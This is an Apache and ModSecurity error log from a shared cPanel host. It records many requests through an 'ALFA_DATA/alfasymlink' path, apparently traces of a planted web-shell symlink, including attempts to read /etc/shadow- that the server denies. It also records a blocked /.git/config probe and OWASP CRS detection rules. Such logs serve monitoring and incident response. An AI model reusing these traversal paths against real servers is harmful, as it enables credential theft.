[Sat Oct 24 09:58:42.829977 2026] [ssl:error] [pid 2635678:tid 2635678] (70014)End of file found: [client 44.207.207.36:49057] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:58:50.894683 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 3.229.2.217:46898] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:58:54.747568 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 54.166.104.83:23513] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:58:58.676705 2026] [ssl:error] [pid 2635676:tid 2635676] (70014)End of file found: [client 34.195.60.66:48009] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:59:15.045161 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 100.28.57.133:58277] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:59:15.045383 2026] [security2:error] [pid 2635677:tid 2635677] [client 100.28.57.133:58277] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/wakeup/wakeup4/subsystem/wakeup7/device/device:03/power/runtime_suspended_time"] [unique_id "aty5s4Wurp-t0SwAQgRqQQAAAAQ"]
[Sat Oct 24 09:59:15.045413 2026] [security2:error] [pid 2635677:tid 2635677] [client 100.28.57.133:58277] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/wakeup/wakeup4/subsystem/wakeup7/device/device:03/power/runtime_suspended_time"] [unique_id "aty5s4Wurp-t0SwAQgRqQQAAAAQ"]
[Sat Oct 24 09:59:22.380452 2026] [ssl:error] [pid 2635676:tid 2635676] (70014)End of file found: [client 23.21.179.120:37152] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:59:26.404901 2026] [ssl:error] [pid 2627309:tid 2627309] (70014)End of file found: [client 98.82.66.172:34591] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:59:46.226453 2026] [core:error] [pid 2627309:tid 2627309] (13)Permission denied: [client 54.84.147.79:51184] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/PNP0A03:00/wakeup/wakeup7/device/physical_node/0000:00:03.0/subsystem/slots/22/module/uevent
[Sat Oct 24 09:59:46.817186 2026] [core:error] [pid 2635678:tid 2635678] (13)Permission denied: [client 185.191.171.19:12126] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/MPTCPv6/trace
[Sat Oct 24 09:59:50.203792 2026] [ssl:error] [pid 2635684:tid 2635684] (70014)End of file found: [client 34.204.150.196:62135] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:59:54.199999 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 184.73.195.18:33882] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:59:58.339640 2026] [core:error] [pid 2625330:tid 2625330] (13)Permission denied: [client 52.3.156.186:11072] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/subsystem/drivers/xhci_hcd/unbind
[Sat Oct 24 10:00:18.334461 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 44.223.193.255:10401] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:00:43.134556 2026] [ssl:error] [pid 2635678:tid 2635678] (70014)End of file found: [client 52.2.58.41:43808] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:00:58.178936 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 52.204.37.237:1320] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:01:14.291219 2026] [ssl:error] [pid 2635678:tid 2635678] (70014)End of file found: [client 52.2.58.41:31046] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:01:26.398446 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 34.231.156.59:9398] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:01:39.297434 2026] [core:error] [pid 2635678:tid 2635678] (13)Permission denied: [client 185.191.171.10:46082] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/biovec-16/cpu_slabs
[Sat Oct 24 10:01:46.162280 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 34.236.41.241:38173] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:01:50.389251 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 18.214.138.148:14230] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:02:02.154814 2026] [ssl:error] [pid 2635676:tid 2635676] (70014)End of file found: [client 52.3.102.51:38818] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:02:22.182862 2026] [security2:error] [pid 2627273:tid 2627273] [client 18.205.127.11:8243] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:17/subsystem/devices/device:01/PNP0F13:00/physical_node/"] [unique_id "aty6bhdOhHN-18IxgZKr0wAAAAY"]
[Sat Oct 24 10:02:22.182909 2026] [security2:error] [pid 2627273:tid 2627273] [client 18.205.127.11:8243] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:17/subsystem/devices/device:01/PNP0F13:00/physical_node/"] [unique_id "aty6bhdOhHN-18IxgZKr0wAAAAY"]
[Sat Oct 24 10:02:34.173192 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 54.204.12.115:18218] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:02:38.314914 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 18.209.201.119:50413] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:02:46.155222 2026] [core:error] [pid 2635684:tid 2635684] (13)Permission denied: [client 52.45.92.83:12121] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/device:03/physical_node/subsystem/drivers/virtio-pci/0000:00:05.0/driver/0000:00:03.0/resource0
[Sat Oct 24 10:02:50.463088 2026] [ssl:error] [pid 2625272:tid 2625272] (5)Input/output error: [client 23.20.178.124:2387] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:02:54.131842 2026] [core:error] [pid 2635678:tid 2635678] (13)Permission denied: [client 85.208.96.195:35584] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/request_sock_TCP/slabs_cpu_partial
[Sat Oct 24 10:02:54.180990 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 52.1.106.130:17362] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:03:02.150080 2026] [core:error] [pid 2625330:tid 2625330] (13)Permission denied: [client 18.213.70.100:28955] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pnp0/00:01/firmware_node/subsystem/devices/device:05/wakeup/wakeup5/device/physical_node/driver/0000:00:03.0/subsystem/drivers/iosf_mbi_pci/new_id
[Sat Oct 24 10:03:06.160779 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 98.84.60.17:4480] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:03:10.145199 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 34.204.150.196:32640] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:03:14.201199 2026] [ssl:error] [pid 2625272:tid 2625272] (70014)End of file found: [client 34.196.6.199:26348] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:03:22.245974 2026] [core:error] [pid 2609012:tid 2609012] (13)Permission denied: [client 3.221.244.28:54217] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:20/subsystem/devices/device:0a/subsystem/drivers/thermal/unbind
[Sat Oct 24 10:03:30.191368 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 18.214.251.19:46351] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:03:46.151766 2026] [ssl:error] [pid 2625272:tid 2625272] (70014)End of file found: [client 54.159.98.248:53201] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:03:49.523923 2026] [core:error] [pid 2635676:tid 2635676] (13)Permission denied: [client 185.191.171.13:22928] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/UDPv6/poison
[Sat Oct 24 10:03:58.136122 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 100.29.128.75:12035] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:03:58.581824 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 185.191.171.19:21452] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:04:10.138206 2026] [ssl:error] [pid 2635684:tid 2635684] (70014)End of file found: [client 54.92.171.106:18715] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:04:18.252878 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 44.213.36.21:10884] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:04:23.979159 2026] [core:error] [pid 2627273:tid 2627273] (13)Permission denied: [client 185.191.171.17:35176] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/file_lock_ctx/min_partial
[Sat Oct 24 10:04:30.278198 2026] [ssl:error] [pid 2635684:tid 2635684] (70014)End of file found: [client 18.206.47.187:36163] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:04:33.361385 2026] [security2:error] [pid 2635676:tid 2635676] [client 16.216.88.157:49152] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/node_modules/puppeteer-core/src/cdp/NetworkManager.ts"] [unique_id "aty68WyV-56kZb5LgxToKwAAAAE"]
[Sat Oct 24 10:04:33.361431 2026] [security2:error] [pid 2635676:tid 2635676] [client 16.216.88.157:49152] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/node_modules/puppeteer-core/src/cdp/NetworkManager.ts"] [unique_id "aty68WyV-56kZb5LgxToKwAAAAE"]
[Sat Oct 24 10:04:42.150968 2026] [ssl:error] [pid 2625272:tid 2625272] (70014)End of file found: [client 44.206.65.8:22420] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:04:50.240931 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 44.207.207.36:51019] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:04:58.165252 2026] [ssl:error] [pid 2627309:tid 2627309] (70014)End of file found: [client 52.205.141.124:55148] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:05:06.149027 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 18.215.49.176:37140] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:05:14.175657 2026] [core:error] [pid 2635677:tid 2635677] (13)Permission denied: [client 52.205.113.104:36350] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty7/subsystem/ttyS1/device/tty/ttyS3/line
[Sat Oct 24 10:05:18.134073 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 23.21.228.180:6505] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:05:22.142192 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 18.211.148.239:10647] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:05:42.152511 2026] [ssl:error] [pid 2625272:tid 2625272] (70014)End of file found: [client 3.216.227.216:55614] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:05:45.359831 2026] [core:error] [pid 2635677:tid 2635677] (13)Permission denied: [client 185.191.171.15:57682] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-Parse/align
[Sat Oct 24 10:05:50.147654 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 44.205.180.155:30174] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:05:54.270347 2026] [ssl:error] [pid 2635684:tid 2635684] (70014)End of file found: [client 52.204.37.237:64184] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:05:58.185939 2026] [ssl:error] [pid 2635676:tid 2635676] (70014)End of file found: [client 52.71.216.196:10628] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:05:59.051379 2026] [core:error] [pid 2609012:tid 2609012] (13)Permission denied: [client 185.191.171.5:56480] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/ext4/sections/__bpf_raw_tp_map
[Sat Oct 24 10:06:02.146555 2026] [security2:error] [pid 2635678:tid 2635678] [client 52.6.5.24:2245] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:14/subsystem/devices/PNP0A03:00/device:06/physical_node/driver/0000:00:03.0/subsystem/slots/9/"] [unique_id "aty7SqC4H19ncVbSqfEy8wAAAAU"]
[Sat Oct 24 10:06:02.146605 2026] [security2:error] [pid 2635678:tid 2635678] [client 52.6.5.24:2245] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:14/subsystem/devices/PNP0A03:00/device:06/physical_node/driver/0000:00:03.0/subsystem/slots/9/"] [unique_id "aty7SqC4H19ncVbSqfEy8wAAAAU"]
[Sat Oct 24 10:06:26.168706 2026] [security2:error] [pid 2609012:tid 2609012] [client 91.204.224.17:50636] ModSecurity: Warning. Operator EQ matched 0 at REQUEST_HEADERS. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "303"] [id "920280"] [rev "2"] [msg "Request Missing a Host Header"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/MISSING_HEADER_HOST"] [tag "WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "curso-de-ventas.com"] [uri "/"] [unique_id "aty7YnUcfBNBYE9xHAJCBQAAAAA"]
[Sat Oct 24 10:06:26.169459 2026] [authz_core:error] [pid 2609012:tid 2609012] [client 91.204.224.17:50636] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 10:06:34.288864 2026] [core:error] [pid 2635677:tid 2635677] (13)Permission denied: [client 34.236.41.241:38655] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/wakeup/wakeup1/device/subsystem/devices/device:04/physical_node/firmware_node/subsystem/drivers/battery/unbind
[Sat Oct 24 10:06:38.139460 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 52.44.174.136:53238] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:06:42.277498 2026] [ssl:error] [pid 2635684:tid 2635684] (70014)End of file found: [client 3.216.227.216:16282] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:06:54.138121 2026] [ssl:error] [pid 2625272:tid 2625272] (70014)End of file found: [client 54.164.106.236:48418] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:07:02.135739 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 3.215.59.93:13522] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:07:13.554174 2026] [core:error] [pid 2627273:tid 2627273] (13)Permission denied: [client 185.191.171.14:13126] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avtab_node/destroy_by_rcu
[Sat Oct 24 10:07:18.160352 2026] [ssl:error] [pid 2625272:tid 2625272] (70014)End of file found: [client 54.157.84.74:24726] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:07:34.161845 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 54.84.250.51:47130] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:07:38.144874 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 35.173.18.61:45261] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:07:42.161481 2026] [ssl:error] [pid 2627309:tid 2627309] (70014)End of file found: [client 3.209.174.110:40835] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:07:46.142813 2026] [ssl:error] [pid 2625272:tid 2625272] (70014)End of file found: [client 44.221.37.41:26643] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:07:50.168778 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 52.54.15.103:59281] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:08:10.246535 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 34.230.124.21:8067] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:08:14.179938 2026] [ssl:error] [pid 2625272:tid 2625272] (70014)End of file found: [client 18.204.152.114:10953] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:08:22.239827 2026] [core:error] [pid 2625330:tid 2625330] (13)Permission denied: [client 44.205.120.22:21748] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/input1/event1/subsystem/input3/event3/subsystem/input0/device/driver/uevent
[Sat Oct 24 10:08:23.169782 2026] [core:error] [pid 2607843:tid 2607843] (13)Permission denied: [client 85.208.96.208:28844] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-8k/order
[Sat Oct 24 10:08:30.319707 2026] [core:crit] [pid 2635676:tid 2635676] (13)Permission denied: [client 66.132.159.134:51996] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 10:08:31.351429 2026] [security2:error] [pid 2609012:tid 2609012] [client 66.132.159.134:52000] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp3.sherwinpinturas.com"] [uri "/"] [unique_id "aty733UcfBNBYE9xHAJCCgAAAAA"]
[Sat Oct 24 10:08:31.351488 2026] [security2:error] [pid 2609012:tid 2609012] [client 66.132.159.134:52000] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp3.sherwinpinturas.com"] [uri "/"] [unique_id "aty733UcfBNBYE9xHAJCCgAAAAA"]
[Sat Oct 24 10:08:33.258685 2026] [core:crit] [pid 2627273:tid 2627273] (13)Permission denied: [client 66.132.159.134:41684] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 10:08:34.168547 2026] [core:error] [pid 2635677:tid 2635677] (13)Permission denied: [client 18.213.102.186:20192] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/wakeup/wakeup4/subsystem/wakeup7/device/device:17/subsystem/drivers_probe
[Sat Oct 24 10:08:38.186643 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 34.226.89.140:2528] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:08:40.674636 2026] [security2:error] [pid 2625330:tid 2625330] [client 91.204.224.17:56034] ModSecurity: Warning. Operator EQ matched 0 at REQUEST_HEADERS. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "303"] [id "920280"] [rev "2"] [msg "Request Missing a Host Header"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/MISSING_HEADER_HOST"] [tag "WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "curso-de-ventas.com"] [uri "/"] [unique_id "aty76PMnT_rHlxLKOWDoGwAAAAc"]
[Sat Oct 24 10:08:40.675538 2026] [authz_core:error] [pid 2625330:tid 2625330] [client 91.204.224.17:56034] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 10:08:42.519124 2026] [ssl:error] [pid 2635684:tid 2635684] (70014)End of file found: [client 34.205.163.103:6815] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:08:45.294394 2026] [core:error] [pid 2635678:tid 2635678] (13)Permission denied: [client 185.191.171.8:41244] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/etc/shadow-
[Sat Oct 24 10:08:50.193705 2026] [core:error] [pid 2635676:tid 2635676] (13)Permission denied: [client 52.0.63.151:40038] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/device:03/physical_node/subsystem/drivers/shpchp/new_id
[Sat Oct 24 10:09:02.165988 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 98.83.10.183:56539] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:09:18.142321 2026] [ssl:error] [pid 2635678:tid 2635678] (70014)End of file found: [client 44.213.202.136:62976] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:09:21.949874 2026] [authz_core:error] [pid 2609012:tid 2609012] [client 192.51.188.32:39718] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 10:09:22.149882 2026] [ssl:error] [pid 2635676:tid 2635676] (70014)End of file found: [client 3.210.114.189:9350] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:09:58.156554 2026] [ssl:error] [pid 2627309:tid 2627309] (70014)End of file found: [client 34.225.243.131:48325] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:10:06.182101 2026] [ssl:error] [pid 2635676:tid 2635676] (70014)End of file found: [client 34.226.89.140:54621] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:10:18.152230 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 54.152.163.42:29934] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:10:22.262615 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 3.221.156.96:7136] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:10:26.153492 2026] [ssl:error] [pid 2635684:tid 2635684] (70014)End of file found: [client 3.232.82.72:40043] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:10:30.173822 2026] [ssl:error] [pid 2635678:tid 2635678] (70014)End of file found: [client 3.221.156.96:56920] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:10:33.086998 2026] [core:error] [pid 2635676:tid 2635676] (13)Permission denied: [client 185.191.171.5:18044] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/etc/email_send_limits
[Sat Oct 24 10:10:34.200188 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 34.192.67.98:28295] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:10:38.165558 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 54.167.32.123:59448] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:10:46.294824 2026] [ssl:error] [pid 2625272:tid 2625272] (70014)End of file found: [client 44.210.204.255:25034] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:10:47.382768 2026] [core:error] [pid 2607843:tid 2607843] (13)Permission denied: [client 185.191.171.6:15064] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_head/cpu_slabs
[Sat Oct 24 10:10:54.153152 2026] [ssl:error] [pid 2635676:tid 2635676] (70014)End of file found: [client 54.83.240.58:24735] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:10:58.163557 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 52.204.37.237:53143] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:10:59.067426 2026] [security2:error] [pid 2635677:tid 2635677] [client 34.74.37.180:12844] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "direc2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "aty8c4Wurp-t0SwAQgRqXAAAAAQ"]
[Sat Oct 24 10:10:59.067698 2026] [security2:error] [pid 2635677:tid 2635677] [client 34.74.37.180:12844] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "aty8c4Wurp-t0SwAQgRqXAAAAAQ"]
[Sat Oct 24 10:10:59.067981 2026] [security2:error] [pid 2635677:tid 2635677] [client 34.74.37.180:12844] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "aty8c4Wurp-t0SwAQgRqXAAAAAQ"]
[Sat Oct 24 10:10:59.068271 2026] [security2:error] [pid 2635677:tid 2635677] [client 34.74.37.180:12844] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 8 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "aty8c4Wurp-t0SwAQgRqXAAAAAQ"]
[Sat Oct 24 10:11:10.267784 2026] [ssl:error] [pid 2627309:tid 2627309] (70014)End of file found: [client 23.21.119.232:2785] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 10:11:12.408919 2026] [core:error] [pid 2625330:tid 2625330] (13)Permission denied: [client 185.191.171.13:60452] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_io_end/reclaim_account
[Sat Oct 24 10:11:22.155758 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 54.225.199.17:41652] AH02013: coalesce failed to read from data bucket
